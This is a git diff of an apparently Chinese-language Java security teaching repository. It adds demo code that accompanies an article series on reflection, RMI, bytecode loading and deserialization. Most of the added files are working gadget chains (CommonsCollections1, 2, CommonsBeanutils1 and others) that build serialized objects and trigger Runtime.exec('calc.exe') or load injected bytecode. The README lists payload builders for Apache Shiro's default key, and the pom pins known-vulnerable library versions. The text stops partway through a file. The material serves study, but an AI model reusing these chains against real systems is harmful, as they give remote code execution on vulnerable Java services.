diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..90d62fd --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +target/ +*.class +*.jar +*.war +.idea +.vscode \ No newline at end of file diff --git a/README.md b/README.md index b9d21ca..870ec80 100644 --- a/README.md +++ b/README.md @@ -4,19 +4,56 @@ ## Java安全漫谈目录 -- [Java安全漫谈 - 01.反射篇(1)](https://t.zsxq.com/iyJiAMJ) -- [Java安全漫谈 - 02.反射篇(2)](https://t.zsxq.com/iIa2B2j) -- [Java安全漫谈 - 03.反射篇(3)](https://t.zsxq.com/MNRbayr) -- [Java安全漫谈 - 04.RMI篇(1)](https://t.zsxq.com/FMJiUrV) -- [Java安全漫谈 - 05.RMI篇(2)](https://t.zsxq.com/BuFy3zF) -- [Java安全漫谈 - 06.RMI篇(3)](https://t.zsxq.com/vZjaiuR) -- [Java安全漫谈 - 07.反序列化篇(1)](https://t.zsxq.com/NF2NfQf) -- [Java安全漫谈 - 08.反序列化篇(2)](https://t.zsxq.com/ieMZBQj) -- [Java安全漫谈 - 09.反序列化篇(3)](https://t.zsxq.com/BmIIAy3) -- [Java安全漫谈 - 10.反序列化篇(4)](https://t.zsxq.com/ZNZrJMZ) -- [Java安全漫谈 - 11.反序列化篇(5)](https://t.zsxq.com/FufUf2B) -- [Java安全漫谈 - 12.反序列化篇(6)](https://t.zsxq.com/A2j2beE) +- [Java安全漫谈 - 01.Java的动态特性——反射](https://t.zsxq.com/iyJiAMJ) +- [Java安全漫谈 - 02.反射的简单利用](https://t.zsxq.com/iIa2B2j) +- [Java安全漫谈 - 03.反射的几个进阶技巧](https://t.zsxq.com/MNRbayr) +- [Java安全漫谈 - 04.RMI的通信过程分析](https://t.zsxq.com/FMJiUrV) +- [Java安全漫谈 - 05.利用codebase攻击RMI Registry](https://t.zsxq.com/BuFy3zF) +- [Java安全漫谈 - 06.深入理解RMI协议与序列化对象](https://t.zsxq.com/vZjaiuR) +- [Java安全漫谈 - 07.不同语言中的反序列化漏洞](https://t.zsxq.com/NF2NfQf) +- [Java安全漫谈 - 08.认识最简单的Gadget——URLDNS](https://t.zsxq.com/ieMZBQj) +- [Java安全漫谈 - 09.初识CommonsCollections](https://t.zsxq.com/BmIIAy3) +- [Java安全漫谈 - 10.用TransformedMap编写真正的POC](https://t.zsxq.com/ZNZrJMZ) +- [Java安全漫谈 - 11.LazyMap详解](https://t.zsxq.com/FufUf2B) +- [Java安全漫谈 - 12.简化版CommonsCollections6](https://t.zsxq.com/A2j2beE) +- [Java安全漫谈 - 番外篇1. BCEL ClassLoader去哪了?](https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html) +- [Java安全漫谈 - 13.Java中动态加载字节码的那些方法](https://t.zsxq.com/E2VfUVB) +- [Java安全漫谈 - 14.为什么需要CommonsCollections3](https://t.zsxq.com/i6Y7QN7) +- [Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用](https://t.zsxq.com/JAUBmMz) +- [Java安全漫谈 - 16.commons-collections4与漏洞修复](https://t.zsxq.com/ZBQj2FE) +- [Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用](https://t.zsxq.com/IqBmuF6) +- [Java安全漫谈 - 18.原生反序列化利用链JDK7u21](https://t.zsxq.com/neMbuJa) +- [Java安全漫谈 - 19.Java反序列化协议构造与分析](https://t.zsxq.com/ZfiEeEY) ## Demo代码 -- 我简化的[CommonCollections6](deserialization/src/main/java/com/govuln/CommonsCollections6.java),更方便大家理解 +字节码: + +- 远程字节码加载Demo:[HelloClassLoader](jdk8/src/main/java/com/govuln/bytes/HelloClassLoader.java) +- 系统默认defineClass加载字节码Demo:[HelloDefineClass](jdk8/src/main/java/com/govuln/bytes/HelloDefineClass.java) +- 使用TemplatesImpl加载字节码Demo:[HelloTemplatesImpl](jdk8/src/main/java/com/govuln/bytes/HelloTemplatesImpl.java) +- 使用BCEL加载字节码Demo:[HelloBCEL](jdk8/src/main/java/com/govuln/bytes/HelloBCEL.java) + +反序列化: + +- 最简单的Transformer Demo:[CommonsCollectionsIntro.java](jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro.java) +- 我简化的[CommonsCollections6](jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6.java),更方便大家理解 +- 利用TemplatesImpl构造的Transformer Demo:[CommonsCollectionsIntro2.java](jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro2.java) +- 无InvokerTransformer的Transformer Demo:[CommonsCollectionsIntro3.java](jdk8/src/main/java/com/govuln/deserialization/CommonsCollectionsIntro3.java) +- 我简化的[CommonsCollections3](jdk8/src/main/java/com/govuln/deserialization/CommonsCollections3.java) +- CommonsCollections6一次执行多个命令:[CommonsCollections6Multiple](jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6Multiple.java) +- 支持commons-collections4.0版本的CommonsCollections6利用链:[CommonsCollections6For4](jdk8/src/main/java/com/govuln/deserialization/CommonsCollections6For4.java) +- 我简化的CommonsBeanutils1利用链:[CommonsBeanutils1](jdk8/src/main/java/com/govuln/deserialization/CommonsBeanutils1.java) +- 简化版Java原生利用链 [JDK7u21](jdk8/src/main/java/com/govuln/deserialization/JDK7u21.java) + +Shiro反序列化: + +- 一个最简单的Shiro Web应用:[shirodemo](shirodemo/) +- 使用CommonsCollections6与Shiro默认Key构造Payload:[Client0.java](shiroattack/src/main/java/com/govuln/shiroattack/Client0.java)、[CommonsCollections6.java](shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollections6.java),在Tomcat中可能会无法成功反序列化 +- 使用CommonsCollections、TemplatesImpl与Shiro默认Key构造Payload:[Client.java](shiroattack/src/main/java/com/govuln/shiroattack/Client.java)、[CommonsCollectionsShiro.java](shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java),解决上述问题 +- 使用Shiro默认自带的commons-beanutils构造的反序列化利用链:[CommonsBeanutils1Shiro.java](shiroattack/src/main/java/com/govuln/shiroattack/CommonsBeanutils1Shiro.java) + +自研反序列化分析工具: + +- zkar: +- 如何使用zkar修复SerialVersionUID不匹配的问题: diff --git a/deserialization/.gitignore b/deserialization/.gitignore deleted file mode 100644 index 406ec20..0000000 --- a/deserialization/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -*.class -target/ -.idea/ \ No newline at end of file diff --git a/jdk8/bytecodes/Foo.java b/jdk8/bytecodes/Foo.java new file mode 100644 index 0000000..cdbf224 --- /dev/null +++ b/jdk8/bytecodes/Foo.java @@ -0,0 +1,3 @@ +public class Foo { + +} \ No newline at end of file diff --git a/jdk8/bytecodes/Hello.java b/jdk8/bytecodes/Hello.java new file mode 100644 index 0000000..d53d3ee --- /dev/null +++ b/jdk8/bytecodes/Hello.java @@ -0,0 +1,6 @@ + +public class Hello { + static { + System.out.println("Hello World"); + } +} diff --git a/jdk8/bytecodes/HelloTemplatesImpl.java b/jdk8/bytecodes/HelloTemplatesImpl.java new file mode 100644 index 0000000..7d190fa --- /dev/null +++ b/jdk8/bytecodes/HelloTemplatesImpl.java @@ -0,0 +1,16 @@ +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +public class HelloTemplatesImpl extends AbstractTranslet { + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} + + public HelloTemplatesImpl() { + super(); + System.out.println("Hello TemplatesImpl"); + } +} \ No newline at end of file diff --git a/jdk8/pom.xml b/jdk8/pom.xml new file mode 100644 index 0000000..fb1091e --- /dev/null +++ b/jdk8/pom.xml @@ -0,0 +1,144 @@ + + + + 4.0.0 + + com.govuln + general + 1.0-SNAPSHOT + + general + + http://www.example.com + + + UTF-8 + 8 + 8 + + + + + + commons-collections + commons-collections + 3.2.1 + + + + org.apache.commons + commons-collections4 + 4.0 + + + commons-beanutils + commons-beanutils + 1.9.4 + + + + javassist + javassist + 3.12.1.GA + + + + commons-codec + commons-codec + 1.15 + + + + commons-io + commons-io + 2.10.0 + + + + + org.springframework.boot + spring-boot-starter-web + 2.7.18 + + + + + org.yaml + snakeyaml + 1.33 + + + + + com.alibaba + fastjson + 1.2.24 + + + + + org.apache.bcel + bcel + 6.10.0 + + + + + + + + + + maven-clean-plugin + 3.1.0 + + + + maven-resources-plugin + 3.0.2 + + + maven-compiler-plugin + 3.8.0 + + + + maven-surefire-plugin + 2.22.1 + + + maven-jar-plugin + 3.0.2 + + + maven-install-plugin + 2.5.2 + + + maven-deploy-plugin + 2.8.2 + + + + maven-site-plugin + 3.7.1 + + + maven-project-info-reports-plugin + 3.0.0 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + diff --git a/jdk8/src/main/java/com/govuln/beans/Cat.java b/jdk8/src/main/java/com/govuln/beans/Cat.java new file mode 100644 index 0000000..157372e --- /dev/null +++ b/jdk8/src/main/java/com/govuln/beans/Cat.java @@ -0,0 +1,20 @@ +package com.govuln.beans; + +import org.apache.commons.beanutils.PropertyUtils; + +final public class Cat { + private String name = "catalina"; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public static void main(String []args) throws Exception { + Cat cat = new Cat(); + System.out.println(PropertyUtils.getProperty(cat, "name")); + } +} diff --git a/jdk8/src/main/java/com/govuln/bytes/HelloBCEL.java b/jdk8/src/main/java/com/govuln/bytes/HelloBCEL.java new file mode 100644 index 0000000..f341b61 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/bytes/HelloBCEL.java @@ -0,0 +1,23 @@ +package com.govuln.bytes; + +import com.sun.org.apache.bcel.internal.classfile.JavaClass; +import com.sun.org.apache.bcel.internal.classfile.Utility; +import com.sun.org.apache.bcel.internal.Repository; +// import com.sun.org.apache.bcel.internal.util.ClassLoader; + +public class HelloBCEL { + public static void main(String []args) throws Exception { + // encode(); + decode(); + } + + protected static void encode() throws Exception { + JavaClass cls = Repository.lookupClass(evil.Hello.class); + String code = Utility.encode(cls.getBytes(), true); + System.out.println(code); + } + + protected static void decode() throws Exception { + // new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmP$cbN$CA$Q$ac$91$c7$$$cb$w$I$e2$fby0$B$P$ee$c5$h$c4$8b$89$f1$b0Q$T$M$9e$87e$82C$86$j$b3$M$q$7e$96$k4$f1$e0$H$f8Q$c6$9e$91$f8H$ecCW$ba$aa$ba$d23$ef$l$afo$AN$b0$X$a0$88$e5$Sj$a8$fbX$J$d0$c0$aa$875$P$eb$M$c5$8eL$a59e$c85$5b$3d$86$fc$99$k$I$86J$ySq9$j$f7Ev$c3$fb$8a$98Z$ac$T$aez$3c$93v$9e$93ys$t$t$Ma$yfRE$XB$v$ddf$f0$3b$89$9a$87$G$5d$3d$cd$Sq$$$ad$3bp$86$e3$R$9f$f1$Q$k$7c$P$h$n6$b1$c5Pv$ca$fe$ad$ce$d4$c0$c3v$88$j$ec$92$ff$t$95$a1j$d7$o$c5$d3at$d5$l$89$c4$fc$a1$ba$P$T$p$c6$f4$I$3d$r$a1$R$3bE$ea$e8$3a$93$a9$e9$9aL$f01$jV$ff$87f$f0$ee$ed$a4R$dak$c6$bf$o$N$d1$c3v$ab$87$D$U$e8$fbl$z$80$d9$c3$a9$97h$8a$I$Za$e1$e8$F$ec$d1$c9$B$f5$a2$ps$uS$P$bf$M$84$8b$84$3e$96$be$97$P$c9m$ab$f4$84$85Z$ee$Zy$h$c0$5c$40$e0$a4$CYmT$c5$FW$3f$B$dc$ab$c0$7f$cc$B$A$A").newInstance(); + } +} diff --git a/jdk8/src/main/java/com/govuln/bytes/HelloClassLoader.java b/jdk8/src/main/java/com/govuln/bytes/HelloClassLoader.java new file mode 100644 index 0000000..60020e6 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/bytes/HelloClassLoader.java @@ -0,0 +1,15 @@ +package com.govuln.bytes; + +import java.net.URL; +import java.net.URLClassLoader; + +public class HelloClassLoader +{ + public static void main( String[] args ) throws Exception + { + URL[] urls = {new URL("http://localhost:8000/")}; + URLClassLoader loader = URLClassLoader.newInstance(urls); + Class c = loader.loadClass("Hello"); + c.newInstance(); + } +} diff --git a/jdk8/src/main/java/com/govuln/bytes/HelloDefineClass.java b/jdk8/src/main/java/com/govuln/bytes/HelloDefineClass.java new file mode 100644 index 0000000..93c46ac --- /dev/null +++ b/jdk8/src/main/java/com/govuln/bytes/HelloDefineClass.java @@ -0,0 +1,17 @@ +package com.govuln.bytes; + +import org.apache.commons.codec.binary.Base64; + +import java.lang.reflect.Method; + +public class HelloDefineClass { + public static void main(String[] args) throws Exception { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); + defineClass.setAccessible(true); + + // source: bytecodes/Hello.java + byte[] code = Base64.decodeBase64("yv66vgAAADQAHAoABgAOCQAPABAIABEKABIAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAHAAgHABYMABcAGAEAC0hlbGxvIFdvcmxkBwAZDAAaABsBAAVIZWxsbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAIAAQAHAAgAAQAJAAAAHQABAAEAAAAFKrcAAbEAAAABAAoAAAAGAAEAAAACAAgACwAIAAEACQAAACUAAgAAAAAACbIAAhIDtgAEsQAAAAEACgAAAAoAAgAAAAQACAAFAAEADAAAAAIADQ=="); + Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length); + hello.newInstance(); + } +} diff --git a/jdk8/src/main/java/com/govuln/bytes/HelloTemplatesImpl.java b/jdk8/src/main/java/com/govuln/bytes/HelloTemplatesImpl.java new file mode 100644 index 0000000..c8fae6f --- /dev/null +++ b/jdk8/src/main/java/com/govuln/bytes/HelloTemplatesImpl.java @@ -0,0 +1,26 @@ +package com.govuln.bytes; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import org.apache.commons.codec.binary.Base64; + +import java.lang.reflect.Field; + +public class HelloTemplatesImpl { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + // source: bytecodes/HelloTemplateImpl.java + byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][] {code}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + obj.newTransformer(); + } +} diff --git a/jdk8/src/main/java/com/govuln/client/JNDIClient.java b/jdk8/src/main/java/com/govuln/client/JNDIClient.java new file mode 100644 index 0000000..f045cb4 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/client/JNDIClient.java @@ -0,0 +1,14 @@ +package com.govuln.client; + +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.naming.directory.InitialDirContext; +import javax.naming.ldap.InitialLdapContext; +import java.util.Hashtable; + +public class JNDIClient { + public static void main(String[] args) throws Exception { + Context initialContext = new InitialContext(); + initialContext.lookup("ldap://127.0.0.1:389/sample"); + } +} diff --git a/jdk8/src/main/java/com/govuln/client/LDAPClient.java b/jdk8/src/main/java/com/govuln/client/LDAPClient.java new file mode 100644 index 0000000..8f68ba1 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/client/LDAPClient.java @@ -0,0 +1,21 @@ +package com.govuln.client; + +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.naming.NamingException; +import javax.naming.directory.InitialDirContext; +import java.util.Hashtable; + +public class LDAPClient { + public static void main(String[] args) throws NamingException { + Hashtable env = new Hashtable<>(); + env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); + env.put(Context.SECURITY_AUTHENTICATION, "simple"); + env.put(Context.SECURITY_PRINCIPAL, "user"); + env.put(Context.SECURITY_CREDENTIALS, "password"); + env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389"); + InitialContext ctx = new InitialDirContext(env); + ctx.lookup("sample"); + ctx.close(); + } +} diff --git a/jdk8/src/main/java/com/govuln/client/RMIClient.java b/jdk8/src/main/java/com/govuln/client/RMIClient.java new file mode 100644 index 0000000..00c6ef2 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/client/RMIClient.java @@ -0,0 +1,9 @@ +package com.govuln.client; + +import java.rmi.Naming; + +public class RMIClient { + public static void main(String[] args) throws Exception { + Naming.lookup("rmi://localhost:1099/test"); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsBeanutils1.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsBeanutils1.java new file mode 100644 index 0000000..5c51107 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsBeanutils1.java @@ -0,0 +1,48 @@ +package com.govuln.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.PriorityQueue; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import org.apache.commons.beanutils.BeanComparator; + +public class CommonsBeanutils1 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{ + ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode() + }); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + final BeanComparator comparator = new BeanComparator(); + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(1); + queue.add(1); + + setFieldValue(comparator, "property", "outputProperties"); + setFieldValue(queue, "queue", new Object[]{obj, obj}); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(queue); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections1.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections1.java new file mode 100644 index 0000000..c37d5af --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections1.java @@ -0,0 +1,51 @@ +package com.govuln.deserialization; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.TransformedMap; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.annotation.Retention; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +class CommonsCollections1 { + public static void main(String[] args) throws Exception { + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + new String[] { "calc.exe" }), + }; + + Transformer transformerChain = new ChainedTransformer(transformers); + Map innerMap = new HashMap(); + innerMap.put("value", "xxxx"); + Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); + + Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); + construct.setAccessible(true); + InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(handler); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections1For4.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections1For4.java new file mode 100644 index 0000000..d7e0070 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections1For4.java @@ -0,0 +1,51 @@ +package com.govuln.deserialization; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.map.TransformedMap; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.annotation.Retention; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +public class CommonsCollections1For4 { + public static void main(String[] args) throws Exception { + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + new String[] { "calc.exe" }), + }; + + Transformer transformerChain = new ChainedTransformer(transformers); + Map innerMap = new HashMap(); + innerMap.put("value", "xxxx"); + Map outerMap = TransformedMap.transformedMap(innerMap, null, transformerChain); + + Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); + construct.setAccessible(true); + InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(handler); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections2.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections2.java new file mode 100644 index 0000000..c6dd2e0 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections2.java @@ -0,0 +1,55 @@ +package com.govuln.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.Comparator; +import java.util.PriorityQueue; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.comparators.TransformingComparator; + +public class CommonsCollections2 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + public static void main(String[] args) throws Exception { + Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + new String[] { "calc.exe" }), + }; + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + + Comparator comparator = new TransformingComparator(transformerChain); + + PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add(1); + queue.add(2); + + setFieldValue(transformerChain, "iTransformers", transformers); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(queue); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections2TemplatesImpl.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections2TemplatesImpl.java new file mode 100644 index 0000000..e3bbe2b --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections2TemplatesImpl.java @@ -0,0 +1,55 @@ +package com.govuln.deserialization; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.util.Comparator; +import java.util.PriorityQueue; + +public class CommonsCollections2TemplatesImpl { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + + protected static byte[] getBytescode() throws Exception { + ClassPool pool = ClassPool.getDefault(); + CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName()); + return clazz.toBytecode(); + } + + public static void main(String[] args) throws Exception { + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()}); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + Transformer transformer = new InvokerTransformer("toString", null, null); + Comparator comparator = new TransformingComparator(transformer); + PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add(obj); + queue.add(obj); + + setFieldValue(transformer, "iMethodName", "newTransformer"); + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(queue); + oos.close(); + + System.out.println(barr); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); + Object o = (Object)ois.readObject(); + } +} diff --git a/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections3.java b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections3.java new file mode 100644 index 0000000..d8cce44 --- /dev/null +++ b/jdk8/src/main/java/com/govuln/deserialization/CommonsCollections3.java @@ -0,0 +1,73 @@ +package com.govuln.deserialization; + +import 